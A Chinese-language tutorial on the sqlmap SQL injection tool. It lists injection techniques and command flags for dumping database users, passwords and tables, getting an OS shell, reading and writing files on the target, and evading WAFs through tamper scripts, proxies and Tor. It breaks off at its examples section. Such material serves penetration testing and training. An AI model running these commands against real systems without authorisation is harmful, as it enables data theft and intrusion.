一、 sqlmap介绍
sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描,发现并利用给定的 URL 进行SQL注入。 Sqlmap 采用了以下 5 种独特的 SQL 注入技术
1、基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
2、基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间 延迟语句是否已经执行(即页面返回时间是否增加)来判断
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
4、 联合查询注入,在可以使用 Union 的情况下注入
5、堆查询注入,可以同时执行多条语句时的注入
二 、sqlmap基本用法
1、
sqlmap 是一个跨平台的工具,很好用,是 SQL 注入方面一个强大的工具! 我们可以使用 -h 参数查看 sqlmap 的参数以及用法,sqlmap -h
- sqlmap -u “url地址” #探测该 url 是否存在漏
洞 - –cookie=“抓取的
cookie” #当该网站需要登录时,探测该 url 是否存在漏洞 - –data=“uname=admin&passwd=admin&submit=Submit” #抓取其 post 提交的数据填入 ;
- –users #查看数据库的所
有用户; - –passwords #查看数据库
用户名的密码; - –current-user #查看数
据库当前的用户; - –is-dba #判断当前用户
是否有管理员权限; - –roles #列出数据库所
有管理员角色 - –dbs #爆出所有的数
据库 - –tables #爆出所有的数
据表 - –columns #爆出数据库
中所有的列 - –current-db #查看当前
的数据库 - -D security --tables #
爆出数据库 security 中的所有的表 - -D security -T users
–columns #爆出 security 数据库中 users 表中的所有的列 - -D security -T users -C
username --dump #爆出数据库 security 中的 users 表中的 username 列中的所有数据 - -D security -T users
–dump-all #爆出数据库 security 中的 users 表中的所有数据 - -D security --dump-all
#爆出数据库 security 中的所有数据 - –dump-all #爆出该数
据库中的所有数据 - –tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格 **=号后面的自己找匹配的过滤 **
- –os-shell #执行
–os-shell 命令 - –file-read
“c:/test.txt” #读取目标服务器 C 盘下的 test.txt 文件 - –file-write test.txt
–file-dest “e:/hack.txt” #将本地的 test.txt 文件上传到目标服务器的 E 盘下,并且
名字为 hack.txt
2、
探测指定 URL 是否存在 WAF,并且绕过 1. --identify-waf 检测是否有 WAF(首选) 2. --check-waf 检测是否有 WAF(备选) #使用参数进行绕过
- –random-agent 使用任意 HTTP 头进行绕过,尤其是在 WAF 配置不当的时候
- –time-sec=3 使用长的延时来避免触发 WAF 的机制,这方式比较耗时
- –hpp 使用 HTTP 参数污染进行绕过,尤其是在 ASP.NET/IIS 平台上
- –proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
- –ignore-proxy 禁止使用系统的代理,直接连接进行注入
- –flush-session 清空会话,重构注入
- –hex 或者 --no-cast 进行字符码转换
- –mobile 对移动端的服务器进行注入
- –tor 匿名注入
3、
对于是请求方式是post的可以通过抓取http数据包,保存为txt文件,通过探测这个文件判断是否存在sql注入
sqlmap -r post.txt #探测 post.txt 文件中的 http 数据包是否存在 sql 注入漏洞
三、实例
使用sqlmap实现自动化注入攻击,对操作系统命令进行操作
分别为后台语言,自行设置路径,设置的路径